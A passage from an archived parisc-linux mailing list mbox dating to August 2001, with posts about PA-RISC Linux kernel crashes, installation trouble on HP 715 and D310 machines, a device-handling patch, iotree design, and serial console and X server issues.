0x10102614 parisc_terminate+48
0x102565e4 packet_exit+cd8
0x10292080 hpmc_stack+80
0x10102568 show_stack+4c
0x10337010 pidhash+dfc
0x10102614 parisc_terminate+48
0x10256000 packet_exit+6f4
0x10292080 hpmc_stack+80
0x1029f3c0 exec_domains_lock+0
0x1028a010 $global$+0
0x10292700 hpmc_stack+700
0x10102574 show_stack+58
0x10102578 show_stack+5c
0x10106750 skip_save_ior+164

(found using "astk" script)

Could you post the PIM dump?
PIM dump is available from BOOT_ADMIN prompt by just typing "PIM HPMC"
after the machine resets. This will tell us if/where the kernel died when
accessing IO space.

FWIW, here are symbols for Code 15 register dump:
IOAQ 0x10102574 show_stack+58
GR02 0x10102614 parisc_terminate+48

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] GNU C++ 2.95 to 3.0 guide line?
Date: Fri, 3 Aug 2001 18:53:27 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <OF41FD2992.D81FE0E2-ONC1256A9D.005BAC24@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620360 23370 80.91.229.3 (22 Nov 2014 01:39:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:20 +0000 (UTC)
Cc: joel.soete@freebel.net
To: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  3 10:50:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id B42FE482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  3 Aug 2001 10:50:50 -0600 (MDT)
Original-Received: from mcnbru01 (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d55262be2f3@epirel991.europay.com>;
 Fri, 3 Aug 2001 18:50:30 +0200
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.6a |January 17, 2001) at
 08/03/2001 06:53:26 PM
Xref: news.gmane.org gmane.linux.ports.parisc:11805

Hi all,

I try to rebuild menu (for twm) and some other c++ libraries (for fun). But
I encounter many messages: parse error before ')' token.
I scan a little bit faq of gnu c++ but I do not find any guide-line to
"upgrade" code from c++ 2.95 to 3.0.
Is somebody knows where to find this kind of info?

Thanks in advance,
     Joel



**********************************************************************
This e-mail and any attachments to it may contain confidential information which is strictly intended for the use of the authorised recipient.  If you have received this e-mail in error, please delete it and notify the sender by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:18:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/80 not booting (kernel crashes)
Date: Sat, 4 Aug 2001 14:54:23 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20010804145423.K1011@linuxcare.com>
References: <F71V8zDv60gxapzhad20000df92@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620360 23371 80.91.229.3 (22 Nov 2014 01:39:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: S Looman <steve__l__@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug  4 07:52:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 21A66482B
	for <parisc-linux@lists.parisc-linux.org>; Sat,  4 Aug 2001 07:52:47 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id A5761B00C; Sat,  4 Aug 2001 14:54:23 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <F71V8zDv60gxapzhad20000df92@hotmail.com>; from steve__l__@hotmail.com on Thu, Aug 02, 2001 at 11:03:32AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11806

On Thu, Aug 02, 2001 at 11:03:32AM +0200, S Looman wrote:
> Hi,
> 
> Just got a 715/80 box from a friend and started playing with it, but HP-UX 
> sucks and wanted to install linux on it.
> I downloaded the iso-image yesterday and booted it.
> 
> The cd boots, starts loading the kernel 'n stuff. But then it panics.
> 
> It has the same dump as this email: 
> http://lists.parisc-linux.org/pipermail/parisc-linux/2001-July/013193.html
> 
> I guess using another kernel should fix it, but I can't build any kernel...
> 
> Can anybody give me a kernel (or suggestions)?

It is very unlikely that you get the same dump as that mail reported,
as that was froma 2.4.6 kernel, while the ISO uses a 2.4.0 one.

Are you using a serial or graphical console?  Serial console is more
likely to work, and has the advantage that you can capture the output
(with minicom, for example), to post here.

Which ISO are you using?  0.9 or 0.9.2?

Richard





From - Thu Nov 08 21:18:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems with Installing of 0.9.2 on HP 715/100
Date: Sat, 4 Aug 2001 14:58:59 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20010804145859.L1011@linuxcare.com>
References: <3B693F62.E1E701F7@hedd.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620360 23375 80.91.229.3 (22 Nov 2014 01:39:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Martin Eisfeld <me@hedd.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug  4 07:57:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 214C8482B
	for <parisc-linux@lists.parisc-linux.org>; Sat,  4 Aug 2001 07:57:23 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 3E0DEB00C; Sat,  4 Aug 2001 14:58:59 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <3B693F62.E1E701F7@hedd.de>; from me@hedd.de on Thu, Aug 02, 2001 at 01:54:10PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11807

On Thu, Aug 02, 2001 at 01:54:10PM +0200, Martin Eisfeld wrote:
> Hello everyone,
> I have a big proplem of installing PA-RISC Linux 0.9.2 on a HP9000 Model
> 715/100.

I tried a 715/50 last week; it worked fine with serial console, but
with graphical console it rebooted early in the kernel boot sequence.

Can you switch to a serial console and try again?

Richard





From - Thu Nov 08 21:18:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] The new parisc-linux-boot HOWTO
Date: Sat, 04 Aug 2001 21:20:47 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <3B6C4B0F.A28C4BB4@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620361 23384 80.91.229.3 (22 Nov 2014 01:39:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:21 +0000 (UTC)
To: "parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug  4 13:16:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3FF91482A
	for <parisc-linux@parisc-linux.org>; Sat,  4 Aug 2001 13:16:51 -0600 (MDT)
Original-Received: from esiee.fr (pc211j.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP id 7DB60D15AF
	for <parisc-linux@parisc-linux.org>; Sat,  4 Aug 2001 21:16:49 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11808

Hi all,

	I just want to announce to you that I published a draft version of a
new version of parisc-linux-boot HOWTO.
The old one can be found at
http://www.ibiblio.org/oswg/oswg-nightly/oswg/en_US.ISO_8859-1/articles/parisc-linux/parisc-linux-boot
,for example.

Mine is on line at http://mkhppa02.esiee.fr:8000/New-parisc-linux-boot/
Since it is my first HOWTO and SGML text, I would like to know your
feedback. So, if you have anything to change or to add, please mail me.
Some links could look broken (esp. esiee's one) but it is temporary. (I
hope)

Regards, Thomas
ESIEE Team




From - Thu Nov 08 21:18:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A general cleanup & overhaul of native device handling
Date: Sun, 5 Aug 2001 05:21:58 +0100
Lines: 73
Approved: news@gmane.org
Message-ID: <20010805052158.A26359@parcelfarce.linux.theplanet.co.uk>
References: <20010801165903.B4199@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620361 23390 80.91.229.3 (22 Nov 2014 01:39:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:21 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug  4 22:22:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E3F8F482A
	for <parisc-linux@parisc-linux.org>; Sat,  4 Aug 2001 22:22:02 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15TFQM-00089I-00; Sun, 05 Aug 2001 05:21:58 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010801165903.B4199@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Wed, Aug 01, 2001 at 04:59:03PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11809

On Wed, Aug 01, 2001 at 04:59:03PM +0100, Matthew Wilcox wrote:
> At some point, I'm going to try booting a machine with this patch applied
> and see what happens.  I expect it to explode messily right now, tbh, but
> at least it compiles.  I'm interested in criticism of this architecture.
> After I get this hunk of work done, I'll move on to an iotree, and maybe
> then to actually doing hotplug for native devices... that isn't high on
> my priority list and I'd be happy to leave it to somebody else :-)

It was actually less messy than I thought.  The only issue which arose
was because i modularised Lasi & Asp without rearranging the order devices
are initialised in.  I decided to solve that one by demodularising these
two drivers rather than changing intialisation order because I think I
have a better way of fixing this, which will involve implementing the
fabled iotree.

I fixed a couple of minor thinkos from the original patch -- I didn't mean
to include an in-progress partial rewrite of some of the PCI inb/outw/etc
functions.  I probably made fallback processor detection work again.
And I missed a s/d/dev/ in lba_pci.

Anyway, this patch now works for me on a 712 & J7k.  With this kind of
patch, it's likely to break one random machine out there (and, on past
experience, it'll be lamont's...) , so I'd like to get people testing
as widely as possible.  The patch is against 2.4.7-pa1, and can be found
at ftp://puffin.external.hp.com/pub/parisc/src/parisc_device-2.diff

I am planning on committing this patch soon, so please test ASAP.
I'm particularly interested in seeing reports from 715/Scorpio, J2xx/C1xx
and B1xx/C1xxL machines.

If you feel you own any of these files, you should also at least glance
at the patch:

$ diffstat parisc_device-2.diff 
 arch/parisc/kernel/ccio-dma.c  |   60 ++++-----
 arch/parisc/kernel/drivers.c   |  259 ++++++++++++++++++++---------------------
 arch/parisc/kernel/firmware.c  |    1 
 arch/parisc/kernel/hardware.c  |    9 -
 arch/parisc/kernel/inventory.c |   32 +----
 arch/parisc/kernel/iosapic.c   |    2 
 arch/parisc/kernel/lba_pci.c   |  100 +++++++--------
 arch/parisc/kernel/led.c       |    2 
 arch/parisc/kernel/sba_iommu.c |  121 +++++++------------
 arch/parisc/kernel/setup.c     |   65 +++++-----
 drivers/char/hp_psaux.c        |   61 +++++----
 drivers/gsc/asp.c              |   34 +++--
 drivers/gsc/busdevice.c        |   49 ++-----
 drivers/gsc/busdevice.h        |   18 --
 drivers/gsc/dino.c             |  173 ++++++++++-----------------
 drivers/gsc/hil.c              |   39 +++---
 drivers/gsc/lan.c              |   59 +++++----
 drivers/gsc/lasi.c             |   51 +++++---
 drivers/gsc/serial.c           |  127 ++++++--------------
 drivers/gsc/wax.c              |   47 ++++---
 drivers/gsc/wax_eisa.c         |   53 ++++----
 drivers/parport/parport_gsc.c  |   34 +++--
 drivers/scsi/lasi7xx.c         |   64 ++++------
 drivers/scsi/zalon7xx.c        |   66 +++++-----
 drivers/sound/harmony.c        |   38 +++---
 drivers/video/sti/sticore.c    |   10 -
 include/asm-parisc/gsc.h       |    4 
 include/asm-parisc/hardware.h  |   87 ++++++-------
 include/asm-parisc/iosapic.h   |    2 
 include/asm-parisc/pci.h       |    4 
 include/asm-parisc/processor.h |    2 
 31 files changed, 776 insertions, 897 deletions


-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Frank Amo" <frankandlinux@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] linux problem
Date: Sat, 04 Aug 2001 23:18:06 -0700
Lines: 69
Approved: news@gmane.org
Message-ID: <F138x4vvsGOkevWWGxe0000f2b5@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="----=_NextPart_000_4997_6a15_3a1c"
X-Trace: ger.gmane.org 1416620361 23398 80.91.229.3 (22 Nov 2014 01:39:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug  5 00:18:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (f138.law15.hotmail.com [64.4.23.138])
	by dsl2.external.hp.com (Postfix) with ESMTP id AC7A6482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  5 Aug 2001 00:18:13 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Sat, 4 Aug 2001 23:18:07 -0700
Original-Received: from 128.170.136.23 by lw15fd.law15.hotmail.msn.com with HTTP;	Sun, 05 Aug 2001 06:18:06 GMT
X-Originating-IP: [128.170.136.23]
X-OriginalArrivalTime: 05 Aug 2001 06:18:07.0161 (UTC) FILETIME=[6471CA90:01C11D76]
Xref: news.gmane.org gmane.linux.ports.parisc:11810

This is a multi-part message in MIME format.

------=_NextPart_000_4997_6a15_3a1c
Content-Type: text/html

<html><div style='background-color:'><DIV>
<DIV>
<DIV></DIV></DIV></DIV></div><br clear=all><hr>Get your FREE download of MSN Explorer at <a href='http://go.msn.com/bql/hmtag_itl_EN.asp'>http://explorer.msn.com</a><br></html>
------=_NextPart_000_4997_6a15_3a1c
Content-Type: text/plain; name="helpMeplease.txt"; format=flowed
Content-Transfer-Encoding: 8bit
Content-Disposition: attachment; filename="helpMeplease.txt"


I have redhat linux 6.1 running on a PII 350mhz 384mb ram and a
western digital 30gb harddrive configured with the Workstation Package.

EveryThing was working fine until I blindly plugged in a nameless
modem and began trying to use the "ppp configuration utility" for lack
of better terms to configure the internal modem and establish an internet
connection.

Where I appearantly generated the error for the first time was when
i began adding ppp1 ppp2 and ppp3 with different names and information
then going into the /etc/sysconfig/network-scripts and initializing the
ppp by using the following lines

/etc/sysconfig/network-scripts/ifcfg-ppp0 start
/etc/sysconfig/network-scripts/ifcfg-ppp1 start
/etc/sysconfig/network-scripts/ifcfg-ppp2 start
/etc/sysconfig/network-scripts/ifcfg-ppp3 start

then I opened those files and made the ifcfg-pppX devices
bootable by typing "yes" using vi.
ONBOOT=yes

After rebooting I first could not reboot the computer at all without
the initialization of the ppp3 hanging up my system literally all day.
So after forcing a reboot /dev/hda5 has an error "corrupt filesystem",
so when I log in to the system for maintenance as prompted I run
fsck -p /dev/hda5 it either says that it is clean or asks me to
fix it by checking for bad blocks.

When the process completes it allows me to reboot the system and passes
the fsck during bootup after bootup once again the ppp3 adapter hangs
the system endlessly.

I even booted to "linux single" i login ok and navigate the filesystem
but I cannot obtain any permissions (obviously) to (rwx) so I cannot
copy or delete any files on my system.

I would like to know if there is any way to go around the system
to get rid of that ppp stuff and if there are any other possible
and permanent damages to my operating system.

If there are damages to my operating system, how can I copy all of
my important files and work without reinstalling the operating system,
I cannot even upgrade to 7.1.

I appreciate any tips, thanks

frankandlinux@hotmail.com



------=_NextPart_000_4997_6a15_3a1c--




From - Thu Nov 08 21:18:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XFree86 on B180
Date: Sun, 5 Aug 2001 16:48:32 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <20010805164832.A4767@solo.franken.de>
References: <OFCFD0268B.6552637A-ONC1256A9D.0025254D@LocalDomain> <200108031045.MAA28589@sap-ag.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620362 23401 80.91.229.3 (22 Nov 2014 01:39:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:22 +0000 (UTC)
Cc: =?iso-8859-1?Q?Jo=EBl_Soete?= <jso@europay.com>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Helge Deller <helge.deller@sap.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug  5 08:50:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (pD905476F.dip.t-dialin.net [217.5.71.111])
	by dsl2.external.hp.com (Postfix) with ESMTP id 503D5482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  5 Aug 2001 08:50:02 -0600 (MDT)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.9.3/8.9.3) id QAA05547;
	Sun, 5 Aug 2001 16:48:32 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200108031045.MAA28589@sap-ag.de>; from helge.deller@sap.com on Fri, Aug 03, 2001 at 12:45:01PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11811

On Fri, Aug 03, 2001 at 12:45:01PM +0200, Helge Deller wrote:
> Currently stifb will run on most 712 and 715 machines, while B160, B180,
> C3000 and most others won't.

you saw X on the B180 I had at LinuxTag:-) Treating the EG VISULIZE as an 
artist graphics card did the trick.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]




From - Thu Nov 08 21:18:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <djweis@sjdjweis.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hpux install?
Date: Sun, 5 Aug 2001 16:12:36 -0500 (CDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0108051610400.1651-100000@oliver.internal.sjdjweis.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620362 23406 80.91.229.3 (22 Nov 2014 01:39:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug  5 15:08:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from oliver.internal.sjdjweis.com (dsl.75.131.networkiowa.com [209.234.75.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 77E02482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  5 Aug 2001 15:08:09 -0600 (MDT)
Original-Received: from localhost (djweis@localhost)
	by oliver.internal.sjdjweis.com (8.9.3/8.9.3) with ESMTP id QAA01665
	for <parisc-linux@lists.parisc-linux.org>; Sun, 5 Aug 2001 16:12:36 -0500
X-Sender: djweis@oliver.internal.sjdjweis.com
Xref: news.gmane.org gmane.linux.ports.parisc:11812

i would like to reinstall hpux on the d310 that i have to free up a few of
the drives for eventual linux use. which cd's do i need and how do i start
the install? i thought i had the complete set but none of the are
bootable.

also, has any more progress been made with the console output on the D
class machines?

thanks

dave


-- 
Dave Weis             "I believe there are more instances of the abridgement
djweis@sjdjweis.com   of the freedom of the people by gradual and silent
                      encroachments of those in power than by violent 
                      and sudden usurpations."- James Madison





From - Thu Nov 08 21:18:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] iotree thoughts
Date: Mon, 6 Aug 2001 02:05:17 +0100
Lines: 48
Approved: news@gmane.org
Message-ID: <20010806020517.A14978@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620362 23411 80.91.229.3 (22 Nov 2014 01:39:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:22 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug  5 19:05:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id DCA24482A
	for <parisc-linux@parisc-linux.org>; Sun,  5 Aug 2001 19:05:18 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15TYpZ-0001US-00
	for parisc-linux@parisc-linux.org; Mon, 06 Aug 2001 02:05:17 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11813

This is a summary and a design document for building an iotree in PA/Linux.
Grant, Ryan, if I mis-remembered / misunderstood something, do shout.

There are two sources of information about what devices are in the
machine.  There's an Architected Bus Walk, which basically says `probe
devices at the following addresses'.  Code to do this already exists
in do_native_bus_walk.  The other way of finding devices is to ask PDC.
All non-architected devices (ie devices which won't be discovered by an
ABW) are known to PDC.

PDC also knows about other devices, including some PCI devices and some
of the architected devices, so some devices may get discovered twice.
Also, PDC occasionally has bugs (see the J2240 Dino and 715/Scorpio
card-mode Dino entries for examples).  And there are three types of PDC
to deal with -- PAT PDC on some 64-bit boxes, PDC which supports the
PDC_SYSTEM_MAP call, and PDC which predates the PDC_SYSTEM_MAP call.

In a related matter, the ABW will pick up serial ports (and other things)
which aren't activated.  Grant said there was a PDC call to determine
whether a device is inactive -- I'm not sure which one that is yet.

Here's my plan:

 * From setup_arch, call PDC to get a list of devices.  Put them in a
   table (marked __init, will be freed later).
 * In the badly-named gsc_init, or perhaps in pcibios_init, start the
   ABW at 0xFFF80000 -- this seems to be the defined location for the
   central bus.
 * Start creating the tree with devices that we find in the ABW.
   Each device which is a bus adapter / converter will do an ABW for its
   children, and add in any PDC-discovered devices in the table which are
   its immediate children.  The add-in is done by copy, not by reference.
 * At some indeterminate time after this, the table of PDC-reported drivers
   gets freed along with all the other __init data & code.

We'll have to be careful with CPU `drivers' since they will have stale
pointers which must be updated.  Perhaps this is where a ->remove method
would come in handy; or perhaps we just magically make them cope with
their ->probe function being called a second time on the same device
(same HPA).

Feedback welcome.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <djweis@sjdjweis.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] more serial console problems on D310
Date: Sun, 5 Aug 2001 23:06:37 -0500 (CDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0108052251390.1710-100000@oliver.internal.sjdjweis.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620363 23416 80.91.229.3 (22 Nov 2014 01:39:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug  5 22:01:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from oliver.internal.sjdjweis.com (dsl.75.131.networkiowa.com [209.234.75.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 67AAA482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  5 Aug 2001 22:01:58 -0600 (MDT)
Original-Received: from localhost (djweis@localhost)
	by oliver.internal.sjdjweis.com (8.9.3/8.9.3) with ESMTP id XAA02383
	for <parisc-linux@lists.parisc-linux.org>; Sun, 5 Aug 2001 23:06:37 -0500
X-Sender: djweis@oliver.internal.sjdjweis.com
Xref: news.gmane.org gmane.linux.ports.parisc:11814

I grabbed the 20010704 kernel source and net booted my d310 with it
combined with the ramdisk from the 0.9.2 install image. I start with the
serial console on the serial connector labeled "serial console". Output
only comes through there until the kernel starts, then I have to switch
over to the other serial port on the machine to see the rest of the boot
messages. They come quickly until the root filesystem is mounted. It looks
like I lose interrupts after that because everything is written in blocks
of 16 characters with long (15 second?) pauses in between blocks. After
getting this message:
VFS: Mounted root (ext2 filesystem).
serial console detected.  Disabling virtual terminals.

the cursor just tabs along the screen by itself without printing
anything. 

Any ideas? Why is the first serial port not being detected/used?

dave


-- 
Dave Weis             "I believe there are more instances of the abridgement
djweis@sjdjweis.com   of the freedom of the people by gradual and silent
                      encroachments of those in power than by violent 
                      and sudden usurpations."- James Madison





From - Thu Nov 08 21:18:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XFree86 on B180
Date: Mon, 6 Aug 2001 09:54:35 +0200
Organization: SAP LinuxLab
Lines: 22
Approved: news@gmane.org
Message-ID: <200108060754.JAA00258@sap-ag.de>
References: <OFCFD0268B.6552637A-ONC1256A9D.0025254D@LocalDomain> <200108031045.MAA28589@sap-ag.de> <20010805164832.A4767@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620363 23422 80.91.229.3 (22 Nov 2014 01:39:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
